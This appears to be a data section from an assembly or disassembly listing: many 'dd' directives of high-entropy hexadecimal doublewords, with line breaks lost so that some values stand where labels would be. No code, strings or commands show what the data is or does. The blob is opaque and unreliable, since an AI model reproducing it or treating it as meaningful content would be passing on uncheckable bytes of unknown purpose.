0A8798D11h dd 376A191Dh, 1E527180h, 90357396h, 495B4E6Ch, 1CC86704h dd 73007922h, 4F3C8AACh, 371AABDh, 9BCA9023h, 8EB8691Ah dd 8626435Ah, 7338FCD4h, 77D95664h, 3E2E8A4h, 89790176h dd 7CA8E542h, 8AEAA266h, 0F4129509h, 0D79600EDh, 14F7F4Dh dd 9001F360h, 2282D121h, 0F0A2241Ch, 0A088C717h, 935B845Bh dd 7615E4B8h, 0B703FC77h, 0C9D187BDh, 0E30631DEh, 8C488AF0h dd 1F9016Ch, 93422C0h, 0D2F470FFh, 0D7F70084h, 67FE4F2Fh dd 5C09FA43h, 0C86F0221h, 9C4DCDF4h, 0DBD426Ch, 41C9F0E1h dd 15CE5F4Ch, 908EC0C8h, 1921014Fh, 0E630AAE7h, 806420C3h dd 789010E9h, 4C8788C8h, 0E16CB000h, 0D12069A8h, 20E0458Eh dd 8A4C9588h, 986C2FB4h, 2CF7948h, 0B6B19005h, 0E0D97234h dd 44404E09h, 0BDC80EC8h, 0E24018B1h, 62F7653Ch, 7C80ACBCh dd 1463C8B3h, 4AE900ACh, 22763CDFh, 0F003473h, 90703517h dd 6B74298h, 8F594E8Dh, 3EFA5979h, 2506943Ch, 50680278h dd 0ED012217h, 77520C52h, 0D82A0090h, 2BB0C3C7h, 0E2711604h dd 8CB888C2h, 9E866200h, 0A6FA0293h, 357C00FFh, 5CC7E304h dd 5F042FEBh, 79CC4992h, 340030ADh, 605A2437h, 754ACDD2h dd 26E47488h, 42345E58h, 0A8AF71BAh, 804408C0h, 1900345Fh dd 13D5AEDBh, 0F56D25h, 0F7813522h, 0DE215160h, 85C7005h dd 0B017029Dh, 0C117E423h, 7BE26F38h, 73803AA8h, 94D3A2BBh dd 0BF002530h, 0B667C812h, 14DAE92h, 0B0A57CD1h, 23DF94C2h dd 2A500940h, 64381008h, 0AB070397h, 8F82A3A6h, 0C5AC2D90h dd 3CFB8B88h, 0F78F7553h, 3580A8E0h, 8F075208h, 0E30018B0h dd 6E8DC30Fh, 58171D6Ah, 0BC00EC7Ah, 0BB5014EAh, 4709FE54h dd 0C0DCDE8Eh, 0AE1F770h, 42CCF6CFh, 0E29440A0h, 0AF24EF6Bh dd 0B180A08Fh, 46544A06h, 80D1F94Dh, 45804828h, 0D231E9E5h dd 2D300E09h, 88C467h, 0D574FD6Ah, 5356C924h, 0BAF55403h dd 907F4101h, 24118134h, 582CBC45h, 10807D55h, 0ED022525h dd 680A54A2h, 0A801605Ah, 18865474h, 0EAC0E782h, 763F0BC7h dd 0C4825A07h, 6056A925h, 71176C11h, 0D13C214Eh, 0B42295h dd 173763BAh, 9E3AE6C4h, 9E8300DCh, 0BCA68260h, 0B05F4537h dd 24044C9h, 0EBB82D17h, 0ACD857F4h, 8D990E60h, 2712B4B1h dd 0D0130234h, 0AE2F82F0h, 78685714h, 0A90B76A8h, 10BAEA2Bh dd 13CF50DCh, 240F4D5h, 55611CB4h, 0B45A6042h, 4AA7B07h dd 0EA30E22Bh, 7584A4h, 6876B0E1h, 0CE082521h, 3670F081h dd 0F68F001Fh, 0A08D1B19h, 965BFEACh, 0E43F4FF8h, 329AD117h dd 9931F2D4h, 488750F1h, 0D1C5EF10h, 0DAC95D05h, 4901D850h dd 8E7554A1h, 0E3FCED10h, 0BF212582h, 9E90D420h, 79071A4Fh dd 0FEF9D1CDh, 4C09A01Ch, 0EF227008h, 7FF0F879h, 80887949h dd 0EA108056h, 0F0E1002Bh, 0F9FC13F8h, 104B0CFh, 0D6FD93C2h dd 0EF94A8C1h, 0C05CFC10h, 0E040BB4Eh, 7D0FDEAAh, 67AB034Eh dd 5CA54966h, 94E83FD8h, 0E7C0804h, 70818C97h, 0B2D0A14Dh dd 0F17A95h, 72D1C991h, 903106A8h, 93531477h, 25A2394h dd 18676BEEh, 16DFFCA0h, 9A07FE56h, 990652Eh, 0CEAAB5C0h dd 1A5D0222h, 4CEA2C5Eh, 3C607C42h, 6029940h, 0FE3AC660h dd 6C04468h, 787A6FD6h, 1811E85Dh, 0AE0FDEACh, 0B74BE28Dh dd 7F68C100h, 7FAFAFFh dd 0D37B0F01h, 37502A3Dh, 0C676BC42h, 0C618275Ch, 9805B00Bh dd 226CB21Bh, 0A6B88071h, 11CD6018h, 565A4A3Ah, 42C921Ch dd 0C78BFE00h, 917C125h, 98D05EB2h, 0C4E4D02Bh, 0CDE78B03h dd 0E82C1F04h, 79316115h, 68C20578h, 20BAEF22h, 244D35A4h dd 0D9019773h, 0CD9BB159h, 7B100242h, 8E39F180h, 1E2A0BE5h dd 7E008201h, 5E84C2B1h, 3B1B4030h, 44013607h, 0E463E6C8h dd 0D3F02308h, 0C62E2518h, 0C3F56C91h, 0FE1BE80h, 4013B893h dd 1817D420h, 93A0C04Fh, 0C46572A7h, 8088D0BEh, 667189D2h dd 0A04D7468h, 119D69FAh, 4C8508Ch, 0B28C00DFh, 0FC88780Fh dd 209548CCh, 0FD9F3458h, 0D25B014Fh, 8E795683h, 0C4443007h dd 0C021BD8Bh, 98DBF982h, 0E7948Ah, 78FB0239h, 7A29369Ch dd 8C73A826h, 8FE4EC08h, 0F81451CDh, 4F9832D2h, 0F3BB6A60h dd 3F6024B4h, 2E2FBDCEh, 912094E2h, 8CEA0FF5h, 23BE00FFh dd 2FC702EEh, 0D4915401h, 0B149E812h, 7B19DAB0h, 0D0396260h dd 715AED8h, 0D274938Eh, 0A75130E8h, 2C05AC58h, 0A912035Fh dd 2608CCh, 0BEAB63B3h, 0CF6842AFh, 1182B512h, 481D3CB2h dd 4308C036h, 0EC9388BAh, 0C4006DB8h, 2DAD454Fh, 9816F78Eh dd 0A0F04830h, 0B739FD32h, 3442C4D2h, 1702F121h, 0C487088Eh dd 0AECD0060h, 90A2824h, 0DD24F6B2h, 912F38D7h, 0F708825Ch dd 24665C2Fh, 5C84863Ch, 0C98F057h, 0C0E7044Fh, 90290982h dd 15326460h, 0CDE11C9Ah, 0EFA853E6h, 608C7DF1h, 564B0179h dd 21F4D0C9h, 0C43D0CEEh, 9059DE94h, 5A0518FAh, 0AC32D6EAh dd 0F3C0381Fh, 0FE34AD53h, 0F0690050h, 6041490Fh, 23049C93h dd 8AEF3DE7h, 60805885h, 12506890h, 30CCF0B5h, 0B1187B1Ch dd 3105940h, 0FF08AD4Dh, 5D806367h, 0E712B821h, 30046BEAh dd 0C8819C4Fh, 646C5CCDh, 0B4A85AC7h, 8310BCF1h, 0C46C82C4h dd 8B80A0A9h, 0A44C3FAEh, 9D864E16h, 707840C8h, 29A6008Ah dd 0EA5502FCh, 0D51CCBEFh, 0E8A423A2h, 0B1B91187h, 3CB29B84h dd 4198EB07h, 0FCC9C0F6h, 5400B011h, 0D0B87DDCh, 9654721h dd 18BE045Eh, 0F05C5101h, 78AC48ABh, 9CD64601h, 7CFF637Eh dd 1851FD8h, 8C4E0DC9h, 2C878480h, 26E48094h, 6841BEh dd 0B5A6B76Ah, 0AB796C59h, 23BA80A0h, 86A8859Dh, 80ACFC14h dd 0FB8B750h, 40BB4B82h, 3AE3FDD8h, 4400AA28h, 72C0D8A9h dd 57D5636h, 2EE96ACEh, 38AC01CBh, 70904173h, 51C0F9BCh dd 7136A959h, 823D0005h, 0ED7D3E10h, 961D176Bh, 0DA1F6714h dd 9CC858D2h, 7C119FD2h, 0EE0AF427h, 34108A07h, 357032EAh dd 5E8661h, 0D61D2183h, 3A0FBD1Eh, 60F9020Bh, 7514CCCFh dd 0D35C00B9h, 0DAC42538h, 47040D6Fh, 8540293Bh, 9B8038BCh dd 0EB88A267h, 7E93F500h, 228FE801h, 41B90733h, 0C28A1E5Bh dd 0B866D068h, 0BF8EF44h, 4E8EB976h, 0C0284C2h, 60714C71h dd 0D7D3C141h, 95C00031h, 693E0EDFh, 63248D81h, 0A0C8B8D8h dd 179E7284h, 8F8E34h, 58F6EA3Ch, 7648775Eh, 0EDAF00F0h dd 0FA01C8FCh, 0CD80A848h, 50BC9C79h, 31006373h, 8C4C851Ch dd 0B34657h, 0CC8F9316h, 896DD9B2h, 99C8D114h, 0C128036Ch dd 0A1B5301h, 0F3171059h, 206217E4h, 91A89B28h, 9513A300h dd 8BF54751h, 9361D7Ch, 9A194343h, 0E00E1BE7h, 6E93CC9Bh dd 0F9E898A1h, 343895D9h, 0A400D4F4h, 84F68D19h, 1D186DDDh dd 9B9F28Fh, 78885971h, 86FC50C0h, 0F41F1E5Ah, 18C5219Fh dd 9CC1D7E4h, 71314C50h, 44775423h, 4D2971D6h, 111D0FCh dd 79CA6C00h, 0C0FE60ACh, 0E2280700h, 0C4D9DEC2h, 7D7501C8h dd 4544CC18h, 0FA5074D4h, 68AC70B1h, 693B8669h, 73542E58h dd 0C41083C8h, 0B3A8B8F1h, 9DEC8EDEh, 10C0AD48h, 17050F15h dd 1F91FD95h, 0C7251C4h, 28B59DEFh, 800E52D8h, 5918224Ah dd 9A08C819h, 0F5E938C6h, 99A777B0h, 0D99E8E80h, 8041FD47h dd 0B0A08561h, 9DF0720Bh, 44370401h, 4C78F8BDh, 6787F8F9h dd 7FF5C118h, 866C9D1h, 4CEA7011h, 4FC6A8E8h, 3165497Dh dd 5CE27B79h, 483A02Fh, 7CF013D2h, 0C9073240h, 0A1B38A3Ah dd 8CEFD0A0h, 949095DAh, 635C84D4h, 0C57D0067h, 0A49F875Eh dd 0E02C078Fh, 0C515F0A7h, 0F7588807h, 0AAA0DA00h, 0FD93E4BDh dd 781A95A7h, 0AD0E30C6h, 34736E0h, 22D34A4Fh, 60B412B0h dd 6AF24540h, 4EC302A0h, 2BBA9502h, 80FC0641h, 52EFF751h dd 5F64722Ch, 0C5E82286h, 26F02Ch, 68A20FC6h, 52122191h dd 0C4AE7F00h, 0EB1E39ECh, 2230971h, 1C68D6F2h, 0F28B788Bh dd 0A0E8515Fh, 4BF270E0h, 300889FAh, 103C08A8h, 529180E1h dd 6E4101ACh, 0EC8654EFh, 205C9283h, 0A8B0E0E2h, 0E6844E79h dd 0EF4A017Eh, 0F2220A82h, 0E273F9D7h, 0A8ED38A7h, 714ECD89h dd 19F18494h, 0E8F285h, 9C7C2318h, 538DB2Eh, 7D4A06D4h dd 8078D16Fh, 46641271h, 18D42E8h, 0D8170FE3h, 64735D08h dd 9280333Fh, 0EE5FA1CDh, 815F9EEAh, 59DB5420h, 288D1CA4h dd 0AF99295h, 91585448h, 3588075h, 0F9CCFCB1h, 8F1ED823h dd 0FD2F0068h, 0FFC7D15Eh, 0B4C2B0AAh, 3341340Eh, 30EF6990h dd 5C7CA9BCh, 210E9C9Ch, 94BCA03Eh, 2CEA4F16h, 404818A3h dd 0C0F4B072h, 0AB01BE73h, 9A0CD048h, 0A8307461h, 0EB53011Dh dd 7658F719h, 868EEh, 0DF1CB78Ah, 16109134h, 0EF6FD0EAh dd 0EB31CC04h, 0F208C0FCh, 0C88E0381h, 0C48E90DEh, 0EC491091h dd 0FD4B7D00h, 0B4050AFh, 0ABF64E02h, 0DB01F4D9h, 0C8A4125Ch dd 0B70083B0h, 0C529D113h, 65F9ECh, 0EF6D939Dh, 90703495h dd 0C39A4A07h, 0EE8218E4h, 0F06044F1h, 40C8133Ch, 0F78088C4h dd 81D10704h, 64F96F93h, 0D8B96580h, 49009635h, 0E488A9A1h dd 735BD4FBh, 0FE751F10h, 8646420Dh, 2CD41511h, 7F1AE0CEh dd 7425B5A1h, 7A05006Fh, 418A1DB3h, 0A043DC6h, 9288F181h dd 0F6678480h, 8C100F89h, 0E93908D7h, 966EF168h, 0C490ABA9h dd 8FFF5Dh, 6DF787C0h, 8960BADAh, 0D9A9D0Bh, 0CF08A406h dd 0FC118C22h, 3C85D062h, 5500C862h, 0DCC1BA00h, 0DE7ACE0Ch dd 0F4F3042Ah, 821D0DCDh, 0AB24F1D0h, 1F87B0C8h, 0C0055CBCh dd 75F7B594h, 2A0ADD12h, 880A5B72h, 0EF4400A8h, 0B5828F8h dd 0C44E22ECh, 119AD127h, 43095710h, 41220978h, 0CE903EDDh dd 2200596Fh, 8CEA87EEh, 0F5FF0800h, 3F10099Eh, 600EF823h dd 0F0250832h, 0E44CA19Ah, 24560850h, 26E511E9h, 81122410h dd 6CBA640Ah, 0E0C54700h, 2E83725h, 9EFBFA2Ch, 0E4C0E768h dd 3E013521h, 97C06E36h, 0E869C80Fh, 0F2FFD280h, 1CECF9A2h dd 836D6C00h, 9AC53EB8h, 62F71667h, 53D021D8h, 0F14408CBh dd 88EBC517h, 0ACB80658h, 0E85CF2F6h, 9C0D8808h, 4CCA408Bh dd 0A726C8B9h, 0EC0A5202h, 896D2F50h, 0B04C49D8h, 6EAF861h dd 677E598Bh, 0C6198200h, 10EEE27Bh, 0B821FD50h, 2260206Eh dd 0A0309161h, 2204087h, 0CFF52F54h, 870D4C30h, 83EB4Ch dd 7968ADC9h, 0C4D90752h, 0AD4ACD29h, 193417CCh, 36F14820h dd 41EC00B7h, 0CDA93918h, 8F0152E1h, 0FCBACA17h, 61A70A24h dd 534A6CA0h, 686F1F95h, 4B0A80A1h, 0F5A2D7Ah, 0A8E40D1Eh dd 1B8B9A63h, 45780A8h, 3224EE0Ch, 0BC680834h, 36D380DCh dd 0BCFA742Eh, 0F5B26F00h, 2B59158Dh, 982B8B6h, 4F86F817h dd 23E0342Eh, 0CD1E5BAh, 3859FC2Ch, 4A84E490h, 60B74503h dd 0C0890C6h, 67BB7519h dd 8600F0C1h, 0CAC8779Fh, 27737B39h, 64C84159h, 50B11906h dd 2D3F1D00h, 0B30597h, 4E4B1F9Fh, 40109003h, 8CF83428h dd 204E0F42h, 166AC778h, 1292B300h, 87D7DB47h, 5E4800A2h dd 24ECEAF6h, 785295C2h, 80683EA8h, 3371544Eh, 2EAF5634h dd 954B0CFh, 7C4613F5h, 8281450Fh, 835C55Fh, 0C8FB3801h dd 0E4F49016h, 3A5C0086h, 10707E1Ch, 94964062h, 1CB4374Eh dd 951B038Fh, 7323BE49h, 506452E8h, 0C1205490h, 607C09E0h dd 8C027F1Eh, 7304CFE9h, 297960C2h, 0BC2C28D8h, 211EA4A5h dd 65DADEDEh, 14FF4349h, 0D0EE0148h, 0E04C79C8h, 633FF98Eh dd 6680DCA8h, 5B0FC95Ah, 416579B6h, 0BBB959A3h, 86F0406Ah dd 419D9243h, 51752200h, 0EA94DF77h, 681918E4h, 3DD1610Ch dd 201DC000h, 0BBB87EC5h, 0D8724FA1h, 12008550h, 843A1378h dd 5C43534Bh, 28003594h, 16E6D93Fh, 6E007FD2h, 7A15ECA4h dd 0BCAC4068h, 0C5768060h, 580FDACCh, 3F382F76h, 0B59A0285h dd 7BC6D116h, 708711B4h, 0D8CAEE5Bh, 0CA5E0800h, 1BF2E79Fh dd 7D01D24h, 913E6409h, 286E8BDCh, 300BD3Ch, 0B031C05Eh dd 18E3889Dh, 4CBA0D08h, 3638DF59h, 14F127EBh, 721B0078h dd 0AD7F10AEh, 6EB0BFFFh, 96545E02h, 0D417EC61h, 519B4040h dd 0D72CBB59h, 0E90126C9h, 8465AF7h, 7E8463Ah, 100061E8h dd 4D8E3C5Dh, 758322F4h, 805A3974h, 24868227h, 0D012815Bh dd 0C490199Eh, 267D64h, 61582827h, 9C38999Ah, 0D12563B8h dd 656091C9h, 110F20Dh, 0FBD62EE2h, 1703F28h, 0F1D17F49h dd 6D620FADh, 3E1200B0h, 0E7C613CFh, 23E0E96Fh, 255E12EAh dd 778CB69Ch, 0BA210E01h, 0AC327617h, 0ED001C32h, 0D14DA210h dd 7C006813h, 7BEBF036h, 6043CDEFh, 813491D8h, 30E9A1B6h dd 42144D14h, 5897C18Fh, 6C0424Ch, 0A5633C8Ch, 0A911DFAh dd 0B1BB8054h, 0A89A27FAh, 8C7C207h, 71A13006h, 0B8210FB6h dd 3809838h, 59294EC3h, 0F775AA00h, 0BA8F8450h, 4BAC5B18h dd 0ECFA0798h, 0F5D17B07h, 36B07146h, 0B109A41h, 783CEC04h dd 0D172EC00h, 6F4E4BC7h, 0F7A1CD8h, 9BDB84DCh, 0C0E15525h dd 0EDD253CAh, 576C9400h, 6DBBEFD4h, 9AC2121Fh, 615022E8h dd 4219C921h, 8F05F8h, 0E5680A1Fh, 11C13156h, 93F77F05h dd 54405A61h, 449AE0F9h, 98A60E40h, 4C825E18h, 9B607845h dd 0CC254D71h, 54B01213h, 98942808h, 864E2C0Ch, 59F640FCh dd 46EEA203h, 99B6EA01h, 0CFA54A01h, 6C806C6Ch, 953F0385h dd 0A768B927h, 0E01F7A54h, 0B6310F2Ah, 59930030h, 6EE210F7h dd 0F007D2A3h, 0BB9CA480h, 8040533Bh, 915B21E1h, 3A0486F5h dd 9F9B18CEh, 849945C0h, 24800929h, 6848EC02h, 0D1C0E677h dd 0BA81AC46h, 0EEFB0F58h, 37409C3Fh, 7CA0FA64h, 58830939h dd 0C89D389Ch, 0BC5C2EA4h, 0CAEF0EC0h, 4A4FB899h, 18EC8CAAh dd 0FD09AB1Dh, 790E4ADh, 0AFEC531h, 0F4A3101Fh, 0BF001741h dd 4F91D924h, 2674D1AEh, 265CC5Ah, 10A8237Ah, 2B004C51h dd 1DB0D532h, 0EA390138h, 0F3C9442Ah, 0F0A09C21h, 68049027h dd 90C4EB6h, 9C49FF04h, 0E01D1078h, 8B240371h, 80F2B961h dd 0C444ECF1h, 2C124922h, 4CC81490h, 0B6B9020Bh, 18B494A8h dd 0FB7E20E6h, 5AABA900h, 0E00C8523h, 4DA40287h, 64584A7Eh dd 7859A4E1h, 60358B98h, 13ED4368h, 0A6ABEF76h, 589F10F0h dd 0AA733300h, 6C6085D8h, 0E4341100h, 79074D5Bh, 884252CDh dd 18085C7Ch, 82A10C80h, 1A01079Eh, 420F9BD1h, 4E3E998Dh dd 7F715BF8h, 4BD7943Ah, 0FE907067h, 0F5C678h, 0AC2A0ABCh dd 4B5597F7h, 876E8314h, 88B0B99h, 800451FFh, 19E335E7h dd 4E14A7F7h, 4290902Ah, 96B600B8h, 254D6B9Fh, 7F501DD7h dd 95DD8348h, 0C05DE32Eh, 0FF0505DCh, 0B8A20233h, 0C0C4101Dh dd 2FE0A9E5h, 28CC3B62h, 228190Ch, 0E6E7600Fh, 78610EA5h dd 0FC7CFCF2h, 80FC68F9h, 39D57747h, 3C263D05h, 1F79E680h dd 336BC954h, 71344F4h, 0B4B71074h, 447F310h, 0AC4C717Bh dd 672298F2h, 1DE41F00h, 0C82CC2BFh, 70515887h, 0B07EBBC0h dd 285C81B6h, 467918B7h, 25ABE52Ch, 0EC840FA1h, 5BCD4570h dd 1AFC4CCCh, 90B10424h, 17E0B8F6h, 4ACC2F46h, 0AB7C4B47h dd 840C5010h, 31250200h, 0D2DDD75h, 0B42901F8h, 86F25A72h dd 90DC3CB9h, 0A3257228h, 32B49072h, 0E5210594h, 60DDC262h dd 0E40C89A4h, 64FD9F00h, 5E67D72Ah, 0D17C004Ah, 0C1A75DE1h dd 0D90228A9h, 80697022h, 0FD384364h, 2F789C32h, 0AC9D8C61h dd 0E145F4CAh, 10F18F34h, 4875A480h, 626C96ECh, 0D45C7C1Ch dd 0B6B81050h, 0C3F7425Ch, 0EB42A4A2h, 4595FCE6h, 0C20C0788h dd 0F0B4B780h, 0DE7D4A19h, 0B71BA39h, 69F008D4h, 899F6174h dd 0B4902F6Ch, 89A0749Bh, 0C70B295Eh, 0AA08560h, 6114E2B8h dd 8884E8Ch, 6B9D00E8h, 8BBAC6FAh, 2028F92h, 89FFA2B1h dd 34986010h, 617EB09Eh, 0E393108Eh, 80C07867h, 4C44AB27h dd 0BA0203CEh, 0B6C7E7EAh, 0A30CC5BCh, 0D5E51080h, 0F200B03Ah dd 0E6C40CEBh, 39F70218h, 105C121Ch, 6CEC1C89h, 0DD620052h dd 1112F23Eh, 2128DF1Eh, 0AE40C478h, 91609E5Bh, 3010030Ch dd 0D0177227h, 594A080h, 0C8D190FDh, 7294A138h, 0F90B00F4h dd 6DE8D6C3h, 3F64834h, 170C2324h, 0B108199h, 0C5951116h dd 300B0BF6h, 0A988C4A0h, 73001CF7h, 0F35D7C3Eh, 70676BD0h dd 22F15AEFh, 0E8335C98h, 2F78515h, 72049DEFh, 34873D64h dd 0E38BB8C7h, 28550C05h, 317D6915h, 37FE4A2h, 569D2C56h dd 9C07B722h, 0C6FD072h, 0C4B60FBEh, 0A0B80B47h, 0DD2A0764h dd 0E0C4868Fh, 463ABBCCh, 218A371Ch, 14391C80h, 0B694A3C9h dd 27A991D0h, 80F46A07h, 7F3028A9h, 0D20D032Fh, 0BE1A4C10h dd 0ABE0B4EDh, 0ECB8A9D2h, 16550180h, 13008BE3h, 34D5C415h dd 1FB71BBBh, 0C00F9Ch, 35107395h, 69C0E508h, 413EA7D8h dd 40300790h, 39215D8Fh, 94B41052h, 1933EA40h, 441E0A99h dd 6FA05C6Ch, 57717D61h, 268C72F3h, 0AA4390ABh, 0BF66F8C3h dd 814D00ADh, 0C9EA0903h, 0D896483Ah, 254F6909h, 18C8B3FCh dd 3DEE2523h, 68B5F859h, 0F603DCA6h, 926FB1F9h, 28FD2FA9h dd 0D025806Ch, 3ACFC39h, 1E88CBE1h, 0F5806CBEh, 0F4A09974h dd 0CC132083h, 0B0498F44h, 0D8E6B0h, 0FF3DDA7Fh, 61F7E52Fh dd 0C88384Bh, 0CE510120h, 0D113A6FAh, 4A2823C9h, 0B3364CCh dd 4350F781h, 0E7A0AC64h, 0E71CE2F2h, 0B801D4A9h, 398252E4h dd 955FCCCh, 979349DFh, 0D242D4F8h, 0C0926527h, 3671640h dd 0FEE3B105h, 0E08B9AD1h, 759C1E00h, 0A72AA89Bh, 5D0E3200h dd 0DDFB0B2Bh, 5EE404E9h, 0E2AF6DAAh, 0ECE600E8h, 95D00F2Eh dd 0CF5C017Bh, 0CA725301h, 70643A13h, 4844D8E8h, 5A363C8Ch dd 4A8C804Fh, 8601BB84h, 790CE63h, 7474A3EFh, 0F5C8C8B3h dd 17F9D180h, 918E4DFEh, 3DA9134h, 50BFB1F1h, 0DE809CEDh dd 164B4CD1h, 926240C8h, 60F53C60h, 0BED30566h, 4FA140BCh dd 0AF036772h, 0AF192C8h, 613EE0D5h, 0C1284E03h, 725694h dd 5B5E58F7h, 7BB8C24Fh, 0C0006871h, 0B2A0AC5Ch, 0BF58003Ah dd 0C6A0ED0h, 46FA4344h, 0A418997Bh, 79B1E518h, 348500B0h dd 6E8E320Bh, 88A01ED2h, 7006575Ch, 23868BFh, 73B8888Eh dd 368E0918h, 0F4F89713h, 7FB05C53h, 7500B5EAh, 22EA100Dh dd 583CF156h, 0F42FD8FCh dd 8DBF8C40h, 64FE1227h, 0D5B50094h, 0D89E1F3Ch, 7E006FC1h dd 4B8EFAFDh, 0F8B47525h, 0DFE6B2h, 4773C98Bh, 405CD109h dd 0C4E4352Bh, 48E9B440h, 5A5200E0h, 4CB5B954h, 400EDC8Dh dd 6349C4EFh, 278F109Fh, 0B8459A4Ch, 0B8BCE107h, 52F6E7F0h dd 9B6407E3h, 73A6C0Ah, 0C8FCB269h, 0E8632840h, 432F6889h dd 8198A5FCh, 84550488h, 0A6B90113h, 0A7821C03h, 823B0DCh dd 4449CC3h, 8C1A43CDh, 5845A50h, 0A3BA236Ch, 7B90A418h dd 2586FC13h, 0B1EC1CA5h, 2EA51FFBh, 23888261h, 0C0C62181h dd 6A915D01h, 28960BC9h, 5CDF4CE8h, 0E62E6997h, 8D88174Eh dd 46C9E0ACh, 0DB5BAE17h, 0FF4CC8h, 7919FB83h, 70F60CD3h dd 0CE029CFEh, 0F78D97F2h, 1168C5FCh, 5E5A824Dh, 0E42C6AD8h dd 0BE8900B8h, 5C7C1E69h, 25BF8E75h, 74CCC46Ch, 9CC500E7h dd 0AC34535Fh, 4C0218BFh, 2398C62h, 4438A2EBh, 0C958180Dh dd 0A4E7B71Ch, 8066BB08h, 239F7A2Dh, 4901E983h, 78DEA0D8h dd 0C041D57Ch, 0D82EE13Ah, 0EE95FA18h, 27F202A0h, 4B268128h dd 0D921C54h, 291EFCE7h, 874540D1h, 15F79586h, 0BD62300h dd 0F85FDE3Ah, 0CE9E3C80h, 0A4F2673Ch, 845B00FCh, 8A2E8C0Ch dd 2D00C277h, 0D7051B20h, 2DEF1617h, 20E4CEBAh, 38D2862Ch dd 6825DB11h, 0E397F0A0h, 0B008810h, 343799B7h, 0E0F66756h dd 600F4DEBh, 449B732Fh, 0FC04F1E6h, 0EFC25ACCh, 320000B2h dd 4F24C868h, 0DB0F8AE6h, 0C3FA8B7Ch, 9A482FEFh, 206044F8h dd 125E0D5h, 4F946454h, 7C54C810h, 76B05700h, 0EC81DBC3h dd 38AF0055h, 0C668B139h, 0C17F53D9h, 5C5854B0h, 9D0858BEh dd 48B33E57h, 0AECE1F02h, 8A20DFACh, 0EC07B58h, 0A2275D74h dd 9EC5F140h, 7A139F15h, 0E41640D4h, 80D78408h, 739C3C10h dd 591EC9A9h, 0A8E42C8Fh, 18959383h, 0B2BBA172h, 20FC6189h dd 0D1567882h, 627F8C69h, 0EAB0073Ch, 8DD06538h, 996241D4h dd 3EDC0184h, 818CCBFDh, 9E0A18DCh, 69AD2767h, 51BA24E1h dd 4476CDC8h, 90A08CE0h, 0F762661Ch, 55C20A5h, 9FC7AEh dd 0FBDEA6EEh, 4F10BA14h, 6045100h, 0F76DE15Dh, 0E8545C78h dd 0A2E75B17h, 0DDC78080h, 0DAAC93h, 625BD3C6h, 1561DF1Eh dd 0D6334F12h, 68ACC9h, 2068AF13h, 40CBF924h, 7300ACE2h dd 2E76E509h, 4822F7FCh, 0DAC51839h, 0EA70C018h, 1F3FD1DCh dd 0B8C95061h, 12C8BC48h, 54A301C8h, 29949E00h, 399AEA49h dd 2F70CC58h, 1DBCCEC2h, 0EC2B899Dh, 0F8910203h, 28F4F13Ch dd 0D67462C7h, 202E20A5h, 721C89A0h, 4BDB593Ch, 41820460h dd 33500FDh, 6D909677h, 512FCDB9h, 0CEEC91DCh, 74C96910h dd 2E2B000h, 0B8EDD43h, 10680099h, 0F3311963h, 0A613C734h dd 54F4620Fh, 1249FE5Ch, 3E188F7h, 0DF0C7E8Eh, 0BE38F4A0h dd 282CB9FEh, 51253C76h, 8DED40C0h, 0F600F2EBh, 90D68C53h dd 0BE4A476h, 0C87F24BFh, 50F4E8E2h, 888C1864h, 0D4C801DAh dd 0E9ADAB4Ah, 0C4F9D0E3h, 39D5333Fh, 70589202h, 0C84C7CE2h dd 78E6F125h, 0EA0BE8F6h, 4A5F71CBh, 40B07EACh, 0B0394E36h dd 0BA647803h, 0E9A54D1Bh, 0F048AFD3h, 98C0A6EBh, 0F6D00D4h dd 1CE9C9EFh, 85E1B0Eh, 762F5840h, 1F8C5A9h, 10809D91h dd 69EE6D62h, 732208h, 0DA1341AFh, 8F7C4D12h, 0C0954272h dd 13A56004h, 94EFE16h, 0B8C4675Ch, 0DB038D1Fh, 99A8DC00h dd 2ADC26Ch, 71952812h, 925D755Bh, 108CD9B4h, 419AC84Dh dd 309526D5h, 0CCB14CB8h, 9ABF3702h, 0EEB8410Fh, 88038070h dd 80A43DB7h, 0C5F4AF8h, 0F971ACC8h, 0B8E4EA13h, 0ACA87540h dd 0C90EE6B0h, 0B3D7FB2Ch, 25EFCA0h, 0FFAC5F0h, 488093C4h dd 22EFFEA9h, 95B1D601h, 48CE808Bh, 0C074247Ah, 0F70D3980h dd 10A6674h, 785086E3h, 0D9D38209h, 8F8A8024h, 0B387B876h dd 4E5C5D50h, 0EF7C0344h, 41018040h, 0B34F0396h, 204ED71h dd 61343900h, 5623906Eh, 0BACB26AFh, 433740F8h, 5A002C88h dd 0E648AD89h, 0B7D739h, 0FEB882F8h, 8420FDAh, 0E0107935h dd 3F51FC2Ch, 0E7B0C1E8h, 0B8B6CAF0h, 2698DFE1h, 0AE7C4F0Ah dd 8216823Ch, 0A4E822EDh, 4FE45CDCh, 0CDB14200h, 0D802F413h dd 9D1AFD5Eh, 1440E4BBh, 9F4D27CEh, 88EF7716h, 99008988h dd 0CB5AA691h, 1C73261h, 0A2A59517h, 2356120Fh, 34AF00D4h dd 0B47CC4A7h, 62363804h, 28FB939h, 0B6937ABh, 27559C18h dd 47523D00h, 0C0AB9232h, 2D11EC84h, 18E6EDBFh, 0BE8E3000h dd 0F2C43C1Dh, 0CBF50090h, 15012DA4h, 7801088Ah, 95BACE11h dd 20735B14h, 0A8C5AF03h, 2AF045D9h, 0E9040DBCh, 446558DCh dd 468E2082h, 8B5F5E74h, 5B083C78h, 40AA108Ch, 6725FCC1h dd 28B8594Dh, 4C5D0B1Ch, 982A98Eh, 0B8D4798Fh, 57B6DF80h dd 6114C4h, 9B0C07D7h, 44BE5949h, 0B9C09102h, 0C039DBCAh dd 2406F2E4h, 1E8D728h, 1C55B082h, 0B92070CFh, 4F968C94h dd 9480A4B2h, 0F05C3B8Ch, 5CF95838h, 47CDC410h, 64E6E0C4h dd 409B130Fh, 0EB786F40h, 0F7381645h, 30DB81F6h, 0EC6B7D2Fh dd 4B63B0F0h, 148F3CCh, 382167F7h, 1C636879h, 0CF252300h dd 0A4BD4C09h, 81A5270Bh, 0A74CA011h, 8866AD1Dh, 9707AF26h dd 25C94DC6h, 3210ACh, 0BE9D7234h, 0C7FE1923h, 4274E997h dd 0F8A85AF0h, 0C2B03E6Eh, 546EB2A5h, 5D9A2003h, 0F47564ACh dd 5ACDBAC0h, 2D8300B5h, 0B3E1A82h, 6B4F798Eh, 0E6ECA832h dd 89751FC8h, 782F8C4h, 0B1215D02h, 0D2031461h, 0C60010D9h dd 7CEA2D69h, 98E470B2h, 77A886A5h, 212900DCh, 6C5A491Eh dd 64980CADh, 0CFD55104h, 9C4D812h, 60DC00BBh, 135E8FB0h dd 288F0D5Ah, 